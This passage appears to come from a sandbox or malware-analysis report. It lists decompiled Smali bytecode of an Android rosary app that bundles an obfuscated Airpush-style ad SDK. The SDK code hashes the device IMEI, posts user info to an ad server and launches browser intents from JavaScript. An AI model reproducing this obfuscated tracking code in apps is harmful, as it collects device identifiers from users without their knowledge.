33 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
35 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
37 | const-string v1, "91" | |
39 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
41 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
42 | const/4 v1, 0x1 | |
44 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
46 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
47 | cond_39: return-void | |
48 | cond_3a: if-nez p2, :cond_51 | |
50 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
51 | const/4 v1, 0x1 | |
53 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
55 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
57 | const-string v1, "createCalendarEvent" | |
59 | const-string v2, "Creating calendar event canceled by user." | |
61 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
63 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
64 | goto/16 :goto_1e | |
65 | catch_4f: move-exception v0 | |
66 | goto/16 :goto_39 | |
67 | cond_51: | |
68 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
69 | goto/16 :goto_1e | |
70 | cond_55: if-nez p2, :cond_6a | |
72 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
73 | const/4 v1, 0x1 | |
75 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
77 | sget-object v0, Lcom/vxjxu/jkhfn1870/MraidView;->airpushMraidView:Lcom/vxjxu/jkhfn1870/MraidView; | |
79 | const-string v1, "playVideo" | |
81 | const-string v2, "Play video is canceled by user." | |
83 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
85 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
86 | goto/16 :goto_39 | |
87 | cond_6a: | |
88 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
89 | try_end_6d: goto/16 :goto_39 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
3 | move-result-object v0 | |
4 | check-cast v0, Landroid/app/Activity; | |
6 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
8 | invoke-virtual {v6}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->getForceOrientation()Ljava/lang/String; | |
9 | move-result-object v4 | |
11 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getResources()Landroid/content/res/Resources; | |
12 | move-result-object v6 | |
14 | invoke-virtual {v6}, Landroid/content/res/Resources;->getConfiguration()Landroid/content/res/Configuration; | |
15 | move-result-object v2 | |
17 | iget-object v6, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil; | |
19 | invoke-virtual {v6}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->isOrientationChange()Z | |
20 | move-result v1 | |
21 | if-eqz v4, :cond_4a | |
23 | const-string v6, "landscape" | |
25 | invoke-virtual {v4, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
26 | move-result v6 | |
27 | if-eqz v6, :cond_4a | |
28 | const/4 v6, 0x0 | |
30 | invoke-virtual {v0, v6}, Landroid/app/Activity;->setRequestedOrientation(I)V |
|
31 | const/4 v6, 0x2 | |
32 | iput v6, v2, Landroid/content/res/Configuration;->orientation:I | |
34 | invoke-virtual {v0, v2}, Landroid/app/Activity;->onConfigurationChanged(Landroid/content/res/Configuration;)V | |
36 | const-string v6, "Orientation cahnged to landscape." | |
38 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
39 | goto_33: if-nez v1, :cond_44 | |
41 | invoke-virtual {v0}, Landroid/app/Activity;->getRequestedOrientation()I | |
42 | move-result v5 | |
44 | invoke-virtual {v0, v5}, Landroid/app/Activity;->setRequestedOrientation(I)V | |
46 | invoke-virtual {v0, v2}, Landroid/app/Activity;->onConfigurationChanged(Landroid/content/res/Configuration;)V | |
48 | const-string v6, "Orientation changed to false." | |
50 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
51 | cond_44: | |
52 | const-string v6, "Orientation saved." | |
54 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
55 | goto_49: return-void | |
56 | cond_4a: if-eqz v4, :cond_63 | |
58 | const-string v6, "portrait" | |
60 | invoke-virtual {v4, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
61 | move-result v6 | |
62 | if-eqz v6, :cond_63 | |
63 | const/4 v6, 0x1 | |
65 | invoke-virtual {v0, v6}, Landroid/app/Activity;->setRequestedOrientation(I)V |
|
67 | const-string v6, "Orientation changed to protrait." | |
69 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
70 | try_end_5d: goto/16 :goto_33 | |
71 | catch_5e: move-exception v3 | |
73 | invoke-virtual {v3}, Ljava/lang/Exception;->printStackTrace()V | |
74 | goto/16 :goto_49 | |
75 | cond_63: if-eqz v4, :cond_33 | |
76 | try_start_65: | |
77 | const-string v6, "none" | |
79 | invoke-virtual {v4, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
80 | move-result v6 | |
81 | if-eqz v6, :cond_33 | |
82 | const/4 v6, -0x1 | |
84 | invoke-virtual {v0, v6}, Landroid/app/Activity;->setRequestedOrientation(I)V | |
86 | const-string v6, "Orientation changed to none." | |
88 | invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
89 | try_end_76: goto/16 :goto_33 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "url" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
2 | .end annotation | |
3 | .prologue | |
5 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
7 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
8 | move-result-object v2 | |
9 | if-eqz v2, :cond_11 | |
11 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
13 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
14 | move-result-object v2 | |
16 | invoke-interface {v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onAdClickListener()V | |
17 | cond_11: new-instance v1, Landroid/content/Intent; | |
19 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
21 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
22 | move-result-object v2 | |
23 | const-class v3, Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
25 | invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
27 | const-string v2, "browser" | |
29 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
30 | const/high16 v2, 0x10000000 | |
32 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
33 | const/high16 v2, 0x800000 | |
35 | invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
37 | const-string v2, "url" | |
39 | invoke-virtual {v1, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
40 | try_start_32: | |
41 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
43 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
44 | move-result-object v2 | |
46 | invoke-virtual {v2, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V | |
48 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
50 | const-string v3, "96" | |
52 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
53 | goto_42: | |
54 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
55 | const/4 v3, 0x1 | |
57 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
58 | return-void | |
59 | catch_49: move-exception v0 | |
61 | const-string v2, "AirplayMraid" | |
63 | const-string v3, "Required BrowserActivty is not added in manifest please add." | |
65 | invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
67 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
69 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
70 | move-result-object v2 | |
71 | if-eqz v2, :cond_64 | |
73 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
75 | invoke-static {v2}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
76 | move-result-object v2 | |
78 | const-string v3, "Required BrowserActivty is not added in manifest please add." | |
80 | invoke-interface {v2, v3}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
81 | cond_64: | |
82 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
84 | const-string v3, "89" | |
86 | invoke-virtual {v2, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V |
|
87 | goto/16 :goto_42 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "item" # Landroid/view/MenuItem; | |
1 | .prologue | |
2 | const/4 v1, 0x1 | |
4 | invoke-interface {p1}, Landroid/view/MenuItem;->getItemId()I | |
5 | move-result v2 | |
6 | packed-switch v2, :pswitch_data_70 | |
7 | pswitch_8: | |
8 | invoke-super {p0, p1}, Landroid/app/Activity;->onOptionsItemSelected(Landroid/view/MenuItem;)Z | |
9 | move-result v1 | |
10 | goto_c: return v1 | |
11 | pswitch_d: new-instance v0, Landroid/content/Intent; | |
13 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application; | |
14 | move-result-object v2 | |
15 | const-class v3, Lprsolutions/rosariofacileads/Opzioni; | |
17 | invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
19 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V | |
20 | goto/16 :goto_c | |
21 | pswitch_1c: new-instance v0, Landroid/content/Intent; | |
23 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application; | |
24 | move-result-object v2 | |
25 | const-class v3, Lprsolutions/rosariofacileads/Player; | |
27 | invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
29 | const-string v2, "Mistero" | |
30 | const/4 v3, 0x3 | |
32 | invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent; |
|
34 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V | |
35 | goto/16 :goto_c | |
36 | pswitch_31: new-instance v0, Landroid/content/Intent; | |
38 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application; | |
39 | move-result-object v2 | |
40 | const-class v3, Lprsolutions/rosariofacileads/Player; | |
42 | invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
44 | const-string v2, "Mistero" | |
45 | const/4 v3, 0x2 | |
47 | invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent; |
|
49 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V | |
50 | goto/16 :goto_c | |
51 | pswitch_46: new-instance v0, Landroid/content/Intent; | |
53 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application; | |
54 | move-result-object v2 | |
55 | const-class v3, Lprsolutions/rosariofacileads/Player; | |
57 | invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
59 | const-string v2, "Mistero" | |
61 | invoke-virtual {v0, v2, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent; |
|
63 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V | |
64 | goto/16 :goto_c | |
65 | pswitch_5a: new-instance v0, Landroid/content/Intent; | |
67 | invoke-virtual {p0}, Lprsolutions/rosariofacileads/RosarioFacile;->getApplication()Landroid/app/Application; | |
68 | move-result-object v2 | |
69 | const-class v3, Lprsolutions/rosariofacileads/Player; | |
71 | invoke-direct {v0, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
73 | const-string v2, "Mistero" | |
74 | const/4 v3, 0x5 | |
76 | invoke-virtual {v0, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent; |
|
78 | invoke-virtual {p0, v0}, Lprsolutions/rosariofacileads/RosarioFacile;->startActivity(Landroid/content/Intent;)V | |
79 | goto/16 :goto_c | |
80 | nop |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v4, Ljava/util/ArrayList; | |
3 | invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V | |
4 | new-instance v0, Lorg/apache/http/message/BasicNameValuePair; | |
6 | const-string v2, "model" | |
8 | const-string v3, "user" | |
10 | invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
12 | invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
13 | new-instance v0, Lorg/apache/http/message/BasicNameValuePair; | |
15 | const-string v2, "action" | |
17 | const-string v3, "setuserinfo" | |
19 | invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
21 | invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
22 | new-instance v0, Lorg/apache/http/message/BasicNameValuePair; | |
24 | const-string v2, "type" | |
26 | const-string v3, "app" | |
28 | invoke-direct {v0, v2, v3}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V |
|
30 | invoke-interface {v4, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
31 | new-instance v0, Ljava/lang/StringBuilder; | |
33 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
35 | const-string v2, "UserInfo Values >>>>>>: " | |
37 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
38 | move-result-object v0 | |
40 | invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
41 | move-result-object v0 | |
43 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
44 | move-result-object v0 | |
46 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
47 | new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread; | |
49 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
50 | move-result-object v2 | |
52 | const-string v5, "https://api.airpush.com/v2/api.php" | |
53 | const-wide/16 v6, 0x4e20 | |
54 | const/4 v8, 0x1 | |
55 | move-object v3, p0 | |
57 | invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V | |
58 | new-instance v0, Ljava/lang/Thread; | |
60 | const-string v2, "sn" | |
62 | invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
64 | invoke-virtual {v0}, Ljava/lang/Thread;->start()V | |
65 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "attributeSet" # Landroid/util/AttributeSet; | |
2 | .prologue | |
3 | const/4 v5, 0x0 | |
4 | const/4 v4, 0x1 | |
6 | invoke-direct {p0, p1, p2}, Landroid/widget/FrameLayout;-><init>(Landroid/content/Context;Landroid/util/AttributeSet;)V | |
8 | const-string v1, "AirplayMraid" | |
9 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->TAG:Ljava/lang/String; | |
10 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->debug:Z | |
11 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
12 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isTestMode:Z | |
13 | const/16 v1, 0x2d | |
14 | iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
15 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAdRequestInProgress:Z | |
16 | const-wide/16 v2, 0x0 | |
17 | iput-wide v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->lastAdfetchedTime:J | |
18 | iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
19 | const/16 v1, 0x1d4 | |
20 | iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I | |
21 | const/16 v1, 0x3c | |
22 | iput v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I | |
23 | new-instance v1, Ljava/util/ArrayList; | |
25 | invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V | |
26 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List; | |
28 | const-string v1, "fade" | |
29 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerAnimation:Ljava/lang/String; | |
31 | const-string v1, "inappad" | |
32 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->banner_type:Ljava/lang/String; | |
33 | iput-boolean v5, p0, Lcom/vxjxu/jkhfn1870/AdView;->canShowMR:Z | |
34 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$1; | |
36 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$1;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
37 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->animationDrawListener:Lcom/vxjxu/jkhfn1870/AdView$AnimationDrawListener; | |
38 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$2; | |
40 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$2;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
41 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->handler:Landroid/os/Handler; | |
42 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$8; | |
44 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$8;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
45 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->getDoc:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener; | |
47 | const-string v1, "AirplayMraid" | |
49 | const-string v2, "Initializing AdView from xml" | |
51 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
52 | if-nez p2, :cond_67 | |
54 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
55 | if-eqz v1, :cond_5d | |
57 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
59 | const-string v2, "AttributeSet can not be null. If you are creating layout from dynamic code then use the other consturctor." | |
61 | invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
62 | cond_5d: | |
63 | const-string v1, "AirplayMraid" | |
65 | const-string v2, "AttributeSet can not be null. If you are creating layout from dynamic code then use the other consturctor." | |
67 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
68 | iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
69 | goto_66: return-void | |
70 | cond_67: | |
71 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->getDataFromManifest(Landroid/content/Context;)Z | |
72 | move-result v1 | |
73 | if-eqz v1, :cond_73 | |
75 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredPermission(Landroid/content/Context;)Z | |
76 | move-result v1 | |
77 | if-nez v1, :cond_76 | |
78 | cond_73: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
79 | goto/16 :goto_66 | |
80 | cond_76: const/16 v1, 0x8 | |
82 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setVisibility(I)V |
|
83 | try_start_7b: const-class v1, Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
85 | invoke-static {p1, v1}, Lcom/vxjxu/jkhfn1870/Util;->isIntentAvailable(Landroid/content/Context;Ljava/lang/Class;)Z | |
86 | move-result v1 | |
87 | if-nez v1, :cond_9a | |
89 | const-string v1, "AirplayMraid" | |
91 | const-string v2, "Required BrowserActivty not found in Manifest please add." | |
93 | invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
95 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
96 | if-eqz v1, :cond_95 | |
98 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
100 | const-string v2, "Required BrowserActivty not found in Manifest please add." | |
102 | invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
103 | cond_95: const/4 v1, 0x1 | |
104 | iput-boolean v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
105 | try_end_98: goto/16 :goto_66 | |
106 | catch_99: move-exception v1 | |
107 | cond_9a: new-instance v0, Lcom/vxjxu/jkhfn1870/UserDetails; | |
109 | invoke-direct {v0, p1}, Lcom/vxjxu/jkhfn1870/UserDetails;-><init>(Landroid/content/Context;)V | |
111 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/UserDetails;->setImeiInMd5()Z | |
112 | move-result v1 | |
113 | if-nez v1, :cond_b3 | |
115 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
116 | if-eqz v1, :cond_b0 | |
118 | sget-object v1, Lcom/vxjxu/jkhfn1870/AdView;->adListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
120 | const-string v2, "Can not serve ad on this device. Device details not found." | |
122 | invoke-interface {v1, v2}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onErrorListener(Ljava/lang/String;)V |
|
123 | cond_b0: iput-boolean v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
124 | goto/16 :goto_66 | |
125 | cond_b3: new-instance v1, Lcom/vxjxu/jkhfn1870/SetPreferences; | |
127 | invoke-direct {v1, p1}, Lcom/vxjxu/jkhfn1870/SetPreferences;-><init>(Landroid/content/Context;)V | |
129 | invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setPreferencesData()V | |
131 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getBackground()Landroid/graphics/drawable/Drawable; | |
132 | move-result-object v1 | |
133 | iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->bannerBgDrawable:Landroid/graphics/drawable/Drawable; | |
135 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setClickable(Z)V |
|
137 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/AdView;->setFocusable(Z)V |
|
138 | const/high16 v1, 0x20000 | |
140 | invoke-virtual {p0, v1}, Lcom/vxjxu/jkhfn1870/AdView;->setDescendantFocusability(I)V |
|
142 | invoke-direct {p0, p2}, Lcom/vxjxu/jkhfn1870/AdView;->getAttrParameters(Landroid/util/AttributeSet;)V | |
144 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread; | |
145 | if-eqz v1, :cond_db | |
147 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/AdView;->adThread:Ljava/lang/Thread; | |
149 | invoke-virtual {v1}, Ljava/lang/Thread;->isAlive()Z | |
150 | move-result v1 | |
151 | if-nez v1, :cond_de | |
152 | cond_db: | |
153 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V | |
154 | cond_de: | |
155 | invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->startBusense(Landroid/content/Context;)V | |
156 | goto/16 :goto_66 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "context" # Landroid/content/Context; | |
1 | .param p2, "result" # Lorg/json/JSONObject; | |
2 | .prologue | |
3 | try_start_0: new-instance v2, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
5 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context; | |
6 | move-result-object v3 | |
8 | invoke-direct {v2, v3, p2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;-><init>(Landroid/content/Context;Lorg/json/JSONObject;)V | |
9 | iput-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
11 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
13 | invoke-virtual {v2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getRefreshTime()I | |
14 | move-result v2 | |
15 | if-lez v2, :cond_22 | |
